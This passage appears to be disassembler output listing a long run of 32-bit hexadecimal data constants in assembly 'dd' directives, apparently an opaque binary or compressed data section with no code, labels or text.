		dd 0DAB5060Eh, 523500FCh, 380382h, 46EB9A94h, 1C27FD0Ch
		dd 661F8600h, 6D131EACh, 7526273Fh, 0E1548090h,	0C8C72200h
		dd 0AB38C69Dh, 0FDEE0010h, 3E0B7A73h, 57136F17h, 44B82BCh
		dd 81702E15h, 0D87D7CE9h, 1624F428h, 41A02ED8h,	0D96B2C17h
		dd 0DBDAC037h, 53E087E1h, 0CE51695Eh, 0C6FE0525h, 0C491B73Ch
		dd 0CE0AC43Eh, 0D8A0C10Bh, 0F2086E2Bh, 606E01BCh, 25D2995Ah
		dd 0DC3BD109h, 330B0362h, 19937AE3h, 20D2B91Ch,	8C427DECh
		dd 0F0001D42h, 0C054348Eh, 0AC01F66Ah, 0F18CBD35h, 202AC37Bh
		dd 65CD8098h, 0E051B100h, 7D38BC0Fh, 559B004Ah,	901A5363h
		dd 814CC652h, 0AFA2C06Ch, 0DD09C0h, 0FBF00E82h,	84EF8E1Eh
		dd 67EC8717h, 15FD088h,	0D309DA3Fh, 70717C69h, 61627DF0h
		dd 61757908h, 18503A64h, 1B39CBFh, 8901CD82h, 7610E4BAh
		dd 0B9FD408Ch, 6F3A8E01h, 47E5B883h, 0A0304831h, 2A85887Dh
		dd 683EA001h, 3C81E570h, 0FBCC7BF5h, 9108B918h,	78884B32h
		dd 5E8E00C0h, 4B7421E0h, 990517EBh, 0D8340C83h,	0D98070A8h
		dd 9D72E4E3h, 16966100h, 20406E8Ah, 741925A8h, 0D84B80E1h
		dd 5412FE81h, 108C3B66h, 0F49686B9h, 3C172311h,	0EDB43560h
		dd 0D0D5C514h, 0F4C2A8C4h, 803C7376h, 7C4275A8h, 0F200E9CEh
		dd 2B080B6Ah, 489DC188h, 2922CC52h, 0F7261000h,	58D269B0h
		dd 660C0050h, 0BA33E587h, 999F86C6h, 666F8A5Ch,	0A700B04Ch
		dd 62F183E4h, 128C2E81h, 0C12BBF08h, 67A0D64h, 22BA4F28h
		dd 9410FE00h, 49680169h, 0F6823BD7h, 0E26C604Dh, 0F896F726h
		dd 0F898C02Dh, 6C618A48h, 0B840822h, 70A39720h,	51B050CEh
		dd 17005EE6h, 79AE524Eh, 0E9288Ch, 972E8083h, 7DF67204h
		dd 30FA91CAh, 71851191h, 1CC40B7Ah, 0A54EA8F1h,	0D88C4DFEh
		dd 0FDE10087h, 0EE5FFC52h, 596B1996h, 0DB540299h, 1E8594Ch
		dd 0E9E33C03h, 861AFC69h, 2B671512h, 9A0170B2h,	0E51019DFh
		dd 201270E2h, 483D227Dh, 0BA510201h, 78A8B3C5h,	94155120h
		dd 91E58430h, 95678418h, 326C857Dh, 6718FC28h, 0ACED0C53h
		dd 6D2020EAh, 66251709h, 1194911Eh, 786C6061h, 12141982h
		dd 0AF6053h, 696261F4h,	337098E2h, 0EA41670Eh, 0FE3BA012h
		dd 70C2B4A3h, 0F6C0EB97h, 0F9F0FC13h, 283CE331h, 0C822611Eh
		dd 3E4FCB80h, 200A0F4h,	5BFC475Fh, 0C8B3B7F1h, 45911438h
		dd 0E4FF3C12h, 9244AC40h, 667D2Fh, 3995A6CBh, 0F96414EEh
		dd 28C5AB16h, 33E38F6h,	0E73CB585h, 0EAD045ADh,	8B248C74h
		dd 43762E00h, 32F31C7Bh, 0A92B00A7h, 3F4518CCh,	4707B0CEh
		dd 0AC8246A6h, 56F81A59h, 0DE2F78D4h, 0E8CA90B6h, 0BBC27937h
		dd 72892217h, 0A0208451h, 0BB743302h, 404875ABh, 811089BCh
		dd 0C0691Ch, 0B11EF314h, 0E0D995Ch, 38E3FA3Fh, 9C380853h
		dd 180BFC45h, 8DC848ACh, 8704078Bh, 0D51E9B48h,	0FA604812h
		dd 0F1ED61C0h, 883D4B5Bh, 7000BD14h, 9E949A25h,	2475FE79h
		dd 60841596h, 0DEFF97AEh, 19F74F09h, 10502698h,	9EC7449h
		dd 0FF7A14C3h, 979AF048h, 8F22416h, 5D44005h, 8400FCB6h
		dd 10F91F9Dh, 0DD1DD16Eh, 0BB5E1CDEh, 14BA9785h, 1B938A0h
		dd 6003A1F4h, 9F98222Fh, 4C5397C0h, 320F00B6h, 0B8523EA4h
		dd 693900FDh, 6011853h,	4A87FCCh, 2681CD6Ch, 6054C176h
		dd 441C08FAh, 0B7040521h, 0E0731378h, 5900A4B2h, 5D66EAD3h
		dd 8600727Dh, 0C1C7E244h, 0F61BDF8Ah, 0B0480707h, 453F6260h
		dd 9534CC64h, 9AE0B200h, 27ACAF9h, 0E9C90020h, 50E71C1Fh
		dd 51284BB4h, 85009CF2h, 0FE397D90h, 0E37E55Bh,	789A7C0Fh
		dd 8A238BC2h, 257FB840h, 41E41AB5h, 202E8FB1h, 0A3F8A278h
		dd 1985B609h, 4CD0FA90h, 0ACD10C94h, 0E284214Bh, 0FAC4C09Fh
		dd 0D690C1Ch, 131A2AC2h, 51F0C28Bh, 0A3000BCh, 468E277Ch
		dd 0F5415600h, 3CC71184h, 33CE4B7Ah, 0A949EC74h, 0FF3FC23Ch
		dd 3C88DC8Bh, 343C1792h, 806CB2FCh, 91DE01B0h, 0F68C0B7Dh
		dd 0C0C87CB1h, 4438AF3Fh, 6A6B8070h, 6979D40h, 85B226CDh
		dd 66380E2Ch, 4F8CB236h, 0C715880h, 1B7C92D1h, 584D1110h
		dd 1BC887B4h, 0E1BB4081h, 0CC781014h, 0CB840A8Bh, 0BE721C6h
		dd 38F02CA2h, 45901097h, 1B3B01D8h, 57D59692h, 16D2E8F7h
		dd 0EC1F431Eh, 0AD461802h, 40B85526h, 0B009BFFh, 610358B7h
		dd 26A997DEh, 409C19B2h, 0E677B589h, 84AE0507h,	94A02A4Ah
		dd 7BAB6979h, 1788D243h, 731C201Ch, 1C22729Ah, 0E93F004Ch
		dd 5B25D021h, 4F2E5E77h, 102FA4C3h, 2FFA2A0h, 8EE04BCAh
		dd 0B864C872h, 9897977Dh, 9B39788Ch, 9B2D03C8h,	71A93B02h
		dd 0B6AEF84Ch, 2CD7B324h, 0E225A02Ch, 0EB24F890h, 43C0FCE2h
		dd 57889B68h, 59007E73h, 2964D286h, 0B8ACECE2h,	876704F4h
		dd 0BC04DEF9h, 0C9C281ACh, 0C7F8BCA9h, 43B700CDh, 0FCA705F2h
		dd 855F89A6h, 20A38420h, 528E07B4h, 307C60E2h, 817822F4h
		dd 92D7C100h, 0C5B0208Fh, 79120084h, 828BFDDCh,	812541F1h
		dd 0DB7CC81Dh, 0C71A0385h, 7A230CAFh, 0A0ECE8ACh, 3C1B62Ch
		dd 0CD2F9067h, 0A4F01A6Ah, 922EBD5Ah, 18C9B87Bh, 770A69Ch
		dd 1AB23822h, 9013708Ch, 7C01E3CAh, 613C6FE5h, 88646BBBh
		dd 14E1207Fh, 7513E722h, 0C8234A61h, 5F00F654h,	2AD8ABDh
		dd 91D1FEAh, 4C902C39h,	0AB0090C4h, 8DF7246Eh, 1DDD6876h
		dd 54F436h, 9EE31E77h, 40B0902Bh, 2931BE61h, 842124E9h
		dd 0F97A22FEh, 42FE046h, 0CC68C970h, 0C24418ACh, 3C226AB9h
		dd 855C98FBh, 8AEA0070h, 0C27A9383h, 725B73CBh,	0B23DE840h
		dd 4AE219Dh, 0C4D4F274h, 8024FCCAh, 183BA1FCh, 8778092Dh
		dd 5411CBABh, 0D6B86894h, 9C71D848h, 31844010h,	0C8BE1941h
		dd 0E45D6113h, 30B25413h, 0C8810180h, 11127730h, 0F45321ABh
		dd 0A9888Ch, 11E2A26Ah,	0FE4091B1h, 6D4B9302h, 54CB3538h
		dd 2890083Ch, 938A7181h, 188B177Fh, 0FCBB820Ch,	40FC1CA3h
		dd 3C142EF6h, 519D0069h, 0CAEFE9F9h, 8942C88h, 2B627C00h
		dd 0B8EA7552h, 0E508F524h, 0C8A4B8E0h, 1E849342h, 8E25659h
		dd 2DC5B861h, 19DBC8EAh, 0CC7A7B27h, 385400D4h,	736DE38Ah
		dd 2F005A1Eh, 0A1D4CA9Fh, 72BB6C1Dh, 0FFC33084h, 4E2C29D0h
		dd 1C2D2090h, 319C3112h, 5E7BE0h, 9C1EE3ADh, 193863ECh
		dd 0B967713Fh, 0E5B825E9h, 3C700E4h, 66D4F0Fh, 0EE008FE6h
		dd 8507F0ABh, 23459BBh,	81666810h, 78E295FEh, 41325084h
		dd 4C6BBF09h, 0C85E1C78h, 0D0BB85F0h, 0CC84E17h, 4554B6A5h
		dd 0CDD0D995h, 15F83373h, 1CE53Bh, 0F5E4594Ah, 7E7298DAh
		dd 24E95148h, 70E1404Ch, 0AEEE1Ah, 0D0A232F6h, 91EE807Ch
		dd 523C68B9h, 0CA40380h, 0D00ED272h, 905A2A5Eh,	0DAAE0152h
		dd 0F449DD93h, 2BFC3084h, 0E8886681h, 94193960h, 28287C71h
		dd 0A3D84731h, 52850015h, 0BAB30070h, 0A9EBFC95h, 614FE4B8h
		dd 1A194067h, 0B1E4CAA4h, 0B4746628h, 0D039E19Ah, 1CE1017Eh
		dd 0C6FA8F72h, 4C338Dh,	0C32F2B26h, 0B36C44h, 8AC9A538h
		dd 0C6A85DE4h, 0E5663504h
		dd 10D5B119h, 0DD0024A3h, 76A5D7C8h, 58007A4Bh,	9853248Dh
		dd 5C9D0E99h, 0A5C0008Ch, 8EBC3FB0h, 0BD4BA900h, 7AFD99EFh
		dd 6084507Eh, 0A6C891FAh, 0FB8D0048h, 0A6CA25A1h, 2A858202h
		dd 5E7CDBA3h, 0B0EF4760h, 5711A1E3h, 0C492FA30h, 0AA999D25h
		dd 1CE08380h, 75E904CFh, 0F8B21113h, 98AD80C8h,	1EE4ED69h
		dd 9DF9B643h, 8EEB00D5h, 0E5DB8920h, 0E4406894h, 2EE3B256h
		dd 4578CB7Ah, 12A4F8ACh, 0C83014C3h, 3FA4EF3Dh,	0A2005E73h
		dd 0E0B08BD8h, 781F8189h, 80BEE499h, 4FB885DEh,	58065BF0h
		dd 20800072h, 0B79D084h, 644DE800h, 0D540BDE1h,	0BEC33D21h
		dd 98519500h, 2AA835E7h, 94038A78h, 32173D2Bh, 9B08001Dh
		dd 0CD8C982Eh, 0BD7EE34Ah, 399D1E05h, 688314C8h, 0D630009Bh
		dd 0A7EA6B52h, 0AF002E24h, 2DAB1C80h, 609E983Eh, 9D2B4851h
		dd 7E7C1BD1h, 0E70011D3h, 21E8A5EFh, 645F00C0h,	3F4F883Ah
		dd 3090F54h, 7716C9A6h,	61BA6081h, 0BB398001h, 3222BD13h
		dd 73FF0080h, 0C9097875h, 0F803DDFCh, 0BAB15B84h, 539C1ACh
		dd 8A0B6440h, 0A2A01E9h, 0B0980836h, 0F851B22Bh, 1004119Fh
		dd 0C82E81h, 46AE6842h,	20079212h, 63889838h, 0A43A7039h
		dd 8D139400h, 7D00510Eh, 851F5D83h, 0E1D72A1h, 0D27F7608h
		dd 291A2C80h, 5A48E0BBh, 407E2881h, 2400A075h, 63A7E3EDh
		dd 98F411h, 74AB9514h, 56064296h, 0D0154CA9h, 19014937h
		dd 9A207DEh, 899F24A0h,	2960BD77h, 27C41CCFh, 11F91B00h
		dd 0ACB2391Ah, 0E0A0E40h, 934699B5h, 2344C916h,	0F5960033h
		dd 0A432ED62h, 8752919h, 0A0769800h, 7A8173A9h,	581672FDh
		dd 0E009ACBAh, 8232B93h, 4DA8A6Ch, 77A11701h, 0ED8076BCh
		dd 3C3F9560h, 69C02F1Fh, 196A0414h, 3BBB1E13h, 811973B8h
		dd 70146EEBh, 98F88893h, 0C6261A60h, 0B99262D9h, 11CB6600h
		dd 5870688Bh, 1863F60Ah, 21956293h, 0ED5CB42Dh,	4DFB00CAh
		dd 9F6426C4h, 0C025B03Ch, 0DE4C2871h, 80773A2Dh, 883761CAh
		dd 1373EA60h, 0C01F0E2Ah, 19BB19DEh, 188832C2h,	0C9938038h
		dd 0B22CBA5Bh, 0DF0C8575h, 292A0F63h, 798120Bh,	2FB0289Ch
		dd 0F0388603h, 0E78FD760h, 84190Ch, 6B7B8019h, 97230A39h
		dd 153F7900h, 3BCC41BCh, 0AA57814h, 8A19DD1Ch, 0E65A03A4h
		dd 41003A33h, 1D478DF1h, 32510D2h, 8B90A89Ch, 28B5222h
		dd 8FFA1BB8h, 0B8A0CA7Bh, 39DC013Dh, 35932240h,	0F19BBF2h
		dd 781F4F3h, 0B806B9F8h, 71152509h, 781D8CE4h, 1EECA613h
		dd 7C7B0A0Fh, 884BF850h, 0D3521B3Ah, 7C5298h, 8A7442BDh
		dd 3144EBh, 18F247B6h, 0E56BF6C4h, 6F0A09F6h, 0B070EE36h
		dd 0E3323D80h, 1CBD582h, 425AFE96h, 2081B2ADh, 2C996230h
		dd 8EBDE701h, 20E0E267h, 0AAF20071h, 5FB8D431h,	0BE0966F7h
		dd 10620FFEh, 207430h, 491E485Eh, 0E88A8354h, 8FD7F53Ah
		dd 0A0FA534Ah, 9C94EC74h, 84925507h, 1351ADCh, 0CDE68115h
		dd 80637D8Ah, 0AFC32BE1h, 7E7032h, 0A30B0148h, 0EA7BC60Ch
		dd 0FC1C3929h, 0F4B8FD01h, 0C047D0F1h, 0AF8A7F90h, 3261C96Bh
		dd 0CF57E410h, 632A2903h, 0A0710381h, 72CEC87Eh, 98E70409h
		dd 4817049Dh, 260B804Eh, 73292D8Dh, 1F153A1Fh, 9289DD80h
		dd 1C6AC4Fh, 0B0165751h, 0F90B2C6Eh, 0FA39803Bh, 201FA2EDh
		dd 50C501C3h, 0A1F23F55h, 0DC4EC9EFh, 8100BA6Eh, 880F02F8h
		dd 3C8C7CA3h, 4149FD1h,	8708F4EBh, 3C063B16h, 5859320Ah
		dd 70832C18h, 0DBB880B6h, 0CF03B3E6h, 6343D55Ah, 0D46AC845h
		dd 83CC001Ah, 8A2C49BDh, 39C377A3h, 243C8F98h, 61480CE9h
		dd 0C0771AE9h, 0BA19B942h, 21D097E1h, 0E2EF6610h, 0D4A29F00h
		dd 4B2DB8E0h, 762A072Fh, 565B61A5h, 0BD226808h,	0B0360C9Bh
		dd 11C03AE6h, 0C8606348h, 2486B202h, 26040C82h,	8912382Ch
		dd 421E0847h, 317C7F45h, 0C58EB90Ch, 39B6086Eh,	0B7809F42h
		dd 871428A2h, 0E672FF98h, 1F29E900h, 51915A93h,	307C6E78h
		dd 6ACC0B40h, 0F0EA7BC7h, 0EE18B660h, 75EB2B37h, 1D9D0177h
		dd 6F9C92B0h, 721BCFAh,	0D522C21Fh, 599070B0h, 0BC12397Dh
		dd 5A164E81h, 0F80BB46Bh, 726122FBh, 9F2A7B99h,	0B851418Ch
		dd 19582881h, 8ACB005Fh, 814066F1h, 340C0C2Ch, 0D2408C6Dh
		dd 7415B440h, 0A21380A9h, 0C7EA0207h, 0E1609AA7h, 7871ADh
		dd 0B10DD3C4h, 2A6E81Dh, 0EA63AA77h, 378C569h, 47BCFA89h
		dd 34E096C9h, 9C0341C7h, 6FBD291Fh, 0FAA107F8h,	0E0D8DA35h
		dd 0A97A8ECFh, 53A89E4Fh, 0EE9CF900h, 0D30CEC09h, 0B8BC94A0h
		dd 69AC5132h, 14D7E094h, 96E60B9Eh, 0C68036EEh,	159DB074h
		dd 9CBAC806h, 3869F16Ch, 0D008DE0h, 8270A22Eh, 81E7A3FDh
		dd 0FB017CF1h, 0B98C6D38h, 4E199615h, 0AB378900h, 0F2144FA1h
		dd 234C071Eh, 0AA76A99Dh, 751178h, 46B28725h, 618D048h
		dd 43707C23h, 0FB1128B3h, 9C000229h, 3437E994h,	6C707798h
		dd 4E61990Eh, 56FA80F0h, 2855129Dh, 1650FDA4h, 32DC098h
		dd 713FA6F2h, 41C5E981h, 0BE921560h, 7A7B8F29h,	138CA067h
		dd 30F2D1F7h, 0F796FC5h, 0BC007D2Fh, 0C6235DC3h, 191426Ah
		dd 4BAE2A9Dh, 0D472C405h, 9028A437h, 0BA007051h, 9247CBC5h
		dd 1882D22h, 0CDFE43C8h, 0F4B60401h, 15019CA2h,	987BEF4Eh
		dd 99F4D80Fh, 0F5B9280Eh, 4BD91DE0h, 8B1F4025h,	81A38FA4h
		dd 0A0B1AF60h, 0C57936FBh, 24107BA1h, 22981DD8h, 71A9BD0Ah
		dd 7644B8A4h, 19626740h, 810F89E4h, 44EB6D92h, 0B082D597h
		dd 25FB2184h, 6C4ED271h, 36775C7Dh, 1359B100h, 6C44DCD7h
		dd 7F5E7B75h, 0CB100417h, 88707DADh, 51032AD4h,	88274CF7h
		dd 0BC90C4C4h, 442BFB99h, 9814087Dh, 2254A921h,	95F00377h
		dd 5145DEBCh, 0EA6848E0h, 0D7AF9909h, 10BC0994h, 0C0951428h
		dd 0F3BB1DA1h, 5D00F440h, 0DD1A8DE4h, 28931h, 29B0FED0h
		dd 0B45CC5EEh, 8D1588C6h, 71BA0039h, 7297FBCFh,	1600A0A9h
		dd 0F4E60857h, 7D29F2h,	1615FCCh, 42386698h, 7BFEA574h
		dd 0E99E3732h, 6846EEh,	4803C008h, 579E13DFh, 0E99C6F1Dh
		dd 0F71D7BC5h, 2F7ED432h, 30DE97E5h, 499F35D0h,	6F008C7Bh
		dd 230F20DDh, 601556DEh, 0EE3B190h, 477F9F10h, 330D5B09h
		dd 4F01057h, 53C200A5h,	0C4AE456Ah, 3700A35Eh, 983B72B5h
		dd 7F056DFh, 9DB6778Ah,	39B3769Bh, 72FE6800h, 8B65EB12h
		dd 0F7A324EEh, 24414FA4h, 88979AF4h, 808BF918h,	34482E66h
		dd 0A66051BBh, 74B2B549h, 0BAA300BCh, 9DE5020Fh, 0B0040523h
		dd 0B9F0BF87h, 3DF8BC8Dh, 2CDE38AAh, 98C4B30Ch,	0E4997019h
		dd 0CF105E07h, 0E400DDDAh, 149603E1h, 0F4CEEB5h, 0E6DA16FEh
		dd 7E9EE414h, 219A080h,	0D0BF9A30h, 40E6ED1Eh, 0AD32A1C0h
		dd 1CBB321h, 5EC6CE2Bh,	24336C9Eh, 38046A3Ch, 0EDA7A570h
		dd 0D4328484h, 20C1332Ch, 9B84177Fh, 2DEF28C2h,	0F6EC1810h
		dd 9FE97701h, 887DB8B7h, 0F10CEC8Ah, 7FBE8794h,	7818F9D6h
		dd 2E1C982Fh, 300ECA7h,	24CD8CFFh, 2239DD87h, 3170C531h
		dd 0E8F4A036h, 4188004Eh, 5482802Ah, 0E20F8465h, 410C6432h
		dd 0BD15693Ah, 75AA7C00h, 6F249B50h, 721788h, 2F01CC3Ah
		dd 1AC777E3h, 88FAE1Dh,	0C95526C0h, 61C6186Bh, 7011E9E6h
		dd 401C2502h, 0FB7ECB08h, 0AC7C2150h, 0F6F8E6B0h, 0F879A8EFh
		dd 0A03FF31Fh, 0C1E62100h, 0F802A8E7h, 8DB2409h, 0F7900676h
		dd 8022387Fh, 71AA148Dh
		dd 742258A2h, 493E9200h, 25DD4B18h, 4E0B0FCBh, 0C4B4C67Dh
		dd 0A10FA986h, 9D5820F1h, 0B018C18Ah, 724824h, 56F0C28Ah
		dd 2E7E7A74h, 14502C38h, 11F49E24h, 11037D21h, 6CC65FBAh
		dd 7600117Eh, 711B6020h, 16662D1Ch, 1364607h, 15D8B7A9h
		dd 0CE71808Ch, 55D329B4h, 2A68CFC7h, 0E2C4BB2h,	91B80FDh
		dd 48DA41E5h, 522CCCEEh, 6FA60968h, 30B84013h, 0ED007573h
		dd 0BBF3E281h, 0B90108E5h, 3583B850h, 69405E82h, 27CB6888h
		dd 704C3B30h, 0B1C65C62h, 578F07A0h, 7B4AE04Bh,	163059E9h
		dd 9984A9A8h, 53650067h, 0E2FFE8FBh, 0F000F545h, 7F5D41B8h
		dd 98D77415h, 668E4460h, 0A688CB74h, 0EE550137h, 0A3F0C035h
		dd 31032FBh, 1254DC99h,	152DF898h, 0F5670B6Ch, 58106FB1h
		dd 380F4039h, 0A0AEBC06h, 124D21D9h, 0CEEE1199h, 39A7006Fh
		dd 3D14EDD3h, 0B3E9076Ch, 0D08FF39Fh, 0AD4B1061h, 53585409h
		dd 2DF4809Eh, 1712B3Fh,	7F62FA4Eh, 348B6648h, 84B991DCh
		dd 561FDB80h, 5454EA11h, 13B0C6Ah, 2E20D543h, 0F271E2E3h
		dd 7C000862h, 0BEF7A46Ah, 0CBAA11CFh, 5C14A3h, 0DEAF4E14h
		dd 0EE922CDCh, 3652C800h, 66954237h, 9D431626h,	0B8782051h
		dd 76020B01h, 32159252h, 670CE0A6h, 4DCA4CBh, 3DD70379h
		dd 0A5B4C243h, 3EE96E20h, 7D497A14h, 5C241E55h,	43258506h
		dd 8CCCC595h, 42861D10h, 0CBF70325h, 3B7BC582h,	45805811h
		dd 0AA368972h, 0DC1E335Bh, 51CC981Ah, 90A95895h, 69D304F8h
		dd 4C7837FBh, 4D10FCh, 0D574949Eh, 9B3152C4h, 0B1985E05h
		dd 20C03ECAh, 0B9B783A3h, 0B5EE0B60h, 2D8E888h,	0CE36251Ch
		dd 9100E8C4h, 77A9C992h, 299D04h, 8933C534h, 6D73BD39h
		dd 0E12F323Ch, 0CE0D4E70h, 14F08EE4h, 0D4127B6Bh, 0E28C6CAh
		dd 0E800A455h, 0B8E63E50h, 0D3C93Ah, 4D9DA68Ah,	80DB33h
		dd 0C18FA8D6h, 4EFD5616h, 0BF2DB038h, 52B480C2h, 15FA6B98h
		dd 0AC9F2E53h, 9C0B601Ch, 7000EFE7h, 4B6D415Eh,	0F0E820h
		dd 0F3A6249h, 345C5AF1h, 70722405h, 8080BE88h, 94EE690Bh
		dd 33FE41F8h, 2C67F41Bh, 0CF1D7402h, 0C60DD6D7h, 0BED300F8h
		dd 0A3EB5887h, 950A4989h, 787450E9h, 0FEF6A443h, 0C0707611h
		dd 35710119h, 0E4009AD4h, 257A235Ah, 0C8863430h, 3F808EC8h
		dd 878D0752h, 0D171C8h,	0A6B43D2Dh, 7CB9AFD3h, 1BD85805h
		dd 0ECC86FADh, 34D50694h, 0D0986059h, 280108A1h, 0A74DC7D4h
		dd 0C388A4Fh, 915CA200h, 2A9C9DD8h, 44442D75h, 4B00F095h
		dd 19C6A7E3h, 0D5F173h,	0AA3259A5h, 99787623h, 60925176h
		dd 3A8BE500h, 84F77472h, 25370FE9h, 7BC0DC9Ch, 12557DC8h
		dd 0C54F9E14h, 65410040h, 0FAD4459h, 900A770Dh,	82A3111Ch
		dd 72AA0D91h, 9DC861AEh, 914F76A0h, 0E93B0454h,	0B470C23Ah
		dd 5D909827h, 9C812374h, 0E9E911Ch, 80142E72h, 0A174D841h
		dd 8C4D0096h, 6AF1ED27h, 0AE2E9EA2h, 0D250C09Ch, 3C2D88FAh
		dd 79D9F603h, 0D82BEB49h, 0B15197BDh, 3703F88h,	0FC4E5E8Ch
		dd 0DBB0F5DFh, 0A70A44A1h, 4886397Bh, 8B008F11h, 726F4676h
		dd 0B00E025h, 9CC9589h,	1D73A247h, 0D54B08h, 0A99D50EFh
		dd 39CBA071h, 0F8B38136h, 2833022Ch, 0BC808F22h, 86792BFFh
		dd 0B711689Ch, 8B73BC4Ch, 748077E2h, 0B0E699F5h, 0A2056D05h
		dd 8C825369h, 4DEE238Dh, 0DC371001h, 0B886F676h, 8A3F0880h
		dd 7A4B840Fh, 33F4A100h, 0B25B55A6h, 0F2EC0094h, 0F9053247h
		dd 60C6538Fh, 3139A1AAh, 0DC0860EBh, 90A6013h, 0FED90F00h
		dd 0EC6F4FB5h, 7DAF003Eh, 80386850h, 46609B22h,	0F35BDB30h
		dd 0FDD91F98h, 0A59130ACh, 9303A997h, 88F14B59h, 0DD74C836h
		dd 63C97875h, 0DE7668F4h, 4FEE8597h, 0F308FC08h, 0C11FE243h
		dd 0E310FAE8h, 94000A58h, 979DF1AFh, 0E8669824h, 792060ACh
		dd 0C8FD3F46h, 0DF443706h, 741933ADh, 959A00CDh, 0C7A7776Dh
		dd 0C1E46BEh, 5880D24Bh, 0E4FA1B1h, 79940C3Dh, 0F671AD90h
		dd 9337500h, 74BBEA7Fh,	4D9B2EE1h, 0AFBF0AFFh, 0E97C809Ch
		dd 0F5396AAh, 0D9994C03h, 2AB17Dh, 51E0F341h, 894BAA77h
		dd 0FCB48D3Eh, 85075600h, 0C390E220h, 0BF470096h, 5AD779F4h
		dd 73007461h, 0B3EA533Fh, 0A8703428h, 303C7ECCh, 8F79CE87h
		dd 1200D661h, 0FB9CABC2h, 0B7415924h, 65502158h, 0D4527460h
		dd 0E0D91FECh, 73FD0B00h, 0AF99A2h, 0CC39A18Ah,	2457B29Bh
		dd 0DA6E6300h, 0EBFDD49Eh, 0A739C06Ch, 72DF47C5h, 815D8D00h
		dd 0D9D6E137h, 0A5440AB1h, 60C0961Ch, 0FD8D5B19h, 0CEA26800h
		dd 0BA7048FFh, 0F97C0339h, 1EEE1D79h, 0E3390886h, 48490657h
		dd 1F74200Bh, 64B406h, 0EE41F8Fh, 0D000CD7Ah, 49F78681h
		dd 30664E63h, 2E49FAC0h, 0D300D49Bh, 41B55F14h,	399E05h
		dd 0B3D89F61h, 2045A364h, 31EE418h, 0A2EC71h, 792F9450h
		dd 30156260h, 0AE1FB03h, 0CE3E89Fh, 51ED258h, 2200D931h
		dd 86412FA6h, 29ABDDh, 85309669h, 113A439Bh, 83D21F03h
		dd 1DEBB60Ah, 40F66341h, 0F0582AB7h, 62196117h,	9B693841h
		dd 34FF27CEh, 0D5172178h, 1180D921h, 0FC2E366Ch, 99DC60FDh
		dd 59622703h, 0D3480828h, 0D580FF8Fh, 9C67865Ch, 2178006Dh
		dd 3062372Fh, 0E100E05Dh, 0A02299E9h, 3032EEEBh, 0D9402761h
		dd 0D0E624Dh, 0A37D17D6h, 0E1F7892Fh, 80933A60h, 206C0E79h
		dd 21043CA0h, 3102F8F5h, 7C920694h, 49CC8372h, 9D99D883h
		dd 4A3B39C6h, 0DD01CFA2h, 9A544082h, 7A30CB8Fh,	6A45391Ch
		dd 0F7E9B783h, 90001834h, 2AB5D8A0h, 4D7086h, 0A5576649h
		dd 39383D4Ch, 51E56531h, 0A886D883h, 0C023317Ah, 0D1686C00h
		dd 4E1CE707h, 0B5E300A8h, 4DC8AC3Ah, 0D80CA9B1h, 40D3EE10h
		dd 49FC60C1h, 0A4B9F1B2h, 0E17D9600h, 0B6E017Bh, 50627592h
		dd 40B1909Dh, 0BA2A0A35h, 4E03B0E4h, 4923B20Eh,	6A3A910Ch
		dd 0C0DE6422h, 0F3870D57h, 0CD0BFB5Fh, 0DD2CB5B3h, 92E45484h
		dd 0D223E810h, 0CFB2C0A8h, 6D878ACh, 90D9C76Fh,	210021FCh
		dd 304D7324h, 78175991h, 6512064Eh, 71081E54h, 0F2861B00h
		dd 237E531Ah, 2A300032h, 8B1096CEh, 4005F80h, 49704767h
		dd 6C246918h, 0FF683971h, 0EDA988h, 0F3DB93FAh,	6032A67Eh
		dd 387DEF00h, 4FF9869Fh, 4640163h, 3CC22448h, 7D38878Eh
		dd 34F4FCEDh, 653A1490h, 0E788ABE1h, 0A1938D6h,	27DA0CB4h
		dd 69B4580h, 31FEC13Ch,	2DBBE502h, 435B822Fh, 2860C120h
		dd 551A4180h, 4443C27Fh, 7010810Bh, 7E970E4h, 2C09E874h
		dd 907FA149h, 0DE5987FDh, 0FB205739h, 0FDDF8CEh, 0D7CFC969h
		dd 0A10A23E1h, 0B8404792h, 2109C780h, 1DCA0CB5h, 8EF36473h
		dd 7440264Eh, 71A4D112h, 70115E00h, 1C637D7Ah, 9DCD1CF8h
		dd 4943436Ch, 0C1D23F7Eh, 9000844h, 3A9880E2h, 4D71F2h
		dd 8AEFE677h, 0D7C07E39h, 1D1EB712h, 0E7F16401h, 38CCE1F0h
		dd 7E1B2AB9h, 601900D0h, 7480AE2Ah, 0F833DF85h,	14085Ch
		dd 2A673821h, 8C88846Ch, 2CEDCA03h, 14A7CE60h, 0B81B4AC6h
		dd 0C3857E00h, 1303E8F2h, 6196EE0Ah, 3D80AC1Eh,	0AFD138B1h
		dd 7DBF0CBDh, 0C08A5B8h, 227821CFh, 46F3C438h, 14CF039Ch
		dd 1ADAB5C0h, 0A79B69E8h, 68E51F17h, 6A81D302h,	0D6A469A5h
		dd 622A64C8h, 0D5078811h, 86830840h, 0E8048B1Eh, 62991FC1h
		dd 30901229h, 41923CD8h, 70EED010h, 8D3730ADh, 1A140AC0h
		dd 0E6202860h, 0C28217ACh
		dd 157E7419h, 0AFFCD000h, 0C78A095h, 0C04F7A8Ch, 1029B610h
		dd 0A90E2B6Dh, 8050CD76h, 0AF1D5C3Bh, 80090060h, 1C27F9EAh
		dd 7100F866h, 7267475Bh, 4E7F99h, 0C539599Ch, 0ED602885h
		dd 3208B566h, 0AB2C0021h, 12F9CF59h, 7C02A968h,	66458979h
		dd 5E6E0060h, 97F8C3Fh,	4A6CB900h, 0E28DA2DDh, 934509AAh
		dd 55CB21h, 0C9464EEh, 7A9A7B6Ch, 0A6139EAh, 4FECC503h
		dd 0E1975774h, 825395FAh, 0EFF48318h, 0DEA90077h, 4F06726Eh
		dd 9A091D7Fh, 39F078h, 6B98A737h, 14764A2Bh, 30082063h
		dd 0D420007Ch, 3183A7CFh, 5A3C66D3h, 5C4B8528h,	0EB83E4EDh
		dd 3B900108h, 673E3288h, 99598EEBh, 0CCAB86C5h,	1FF049h
		dd 0E676360Bh, 0FEED55D2h, 75082A66h, 0F3200021h, 519A4836h
		dd 40C9D14h, 510508E4h,	65D60045h, 0E1BCF0E8h, 0B501467Ch
		dd 0FA71C9CBh, 0F082739Dh, 75B7C56Bh, 0A8980603h, 61E6B802h
		dd 93689831h, 6B804036h, 6A608BE5h, 5FBF7228h, 0D91B0E06h
		dd 20C0E2EBh, 3CC0A38Dh, 5663E500h, 0C7044A32h,	0EECC00BBh
		dd 0FF9FB6CAh, 49013061h, 6AA421C6h, 27D45B9Ch,	29E13B23h
